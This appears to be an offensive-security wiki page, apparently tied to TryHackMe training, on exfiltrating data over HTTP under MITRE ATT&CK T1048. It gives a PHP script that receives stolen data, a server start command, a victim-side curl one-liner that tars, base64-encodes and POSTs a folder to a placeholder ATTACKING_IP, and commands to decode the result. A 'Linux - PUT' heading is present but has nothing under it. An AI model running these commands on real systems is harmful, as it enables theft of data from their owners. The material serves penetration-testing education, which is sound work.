Exfiltration Over HTTP(s)

MITRE ATT&CK™ - Exfiltration Over Alternative Protocol - Technique T1048

Theory

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP. On macOS and Linux curl may be used to invoke protocols such as HTTP/S

We can also use HTTP(S) Tunneling as a good exfiltration channel.

Practice

Linux - POST

We will host a simple PHP server in order to retrieve encoded POST data.

First write the following code in your index.php file

<?php
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
}
?>

Second, start the PHP web-server in the same directory

# Start server on port 80
v4resk㉿kali$ php -S 0.0.0.0:80

On the victim computer, you can now send data through POST request. It will be saved at /tmp/http.bs64

# Linux
# Compress folder, base64, and send
user@victime$ curl --data "file=$(tar zcf - folderToExfiltrate | base64)" http://ATTACKING_IP/

On attacking machine, we can decode now decode it:

# Decode compressed folders
v4resk㉿kali$ sed -i 's/ /+/g' /tmp/http.bs64
v4resk㉿kali$ cat /tmp/http.bs64 | base64 -d | tar xvfz -

Linux - PUT

Resources

Data ExfiltrationTryHackMe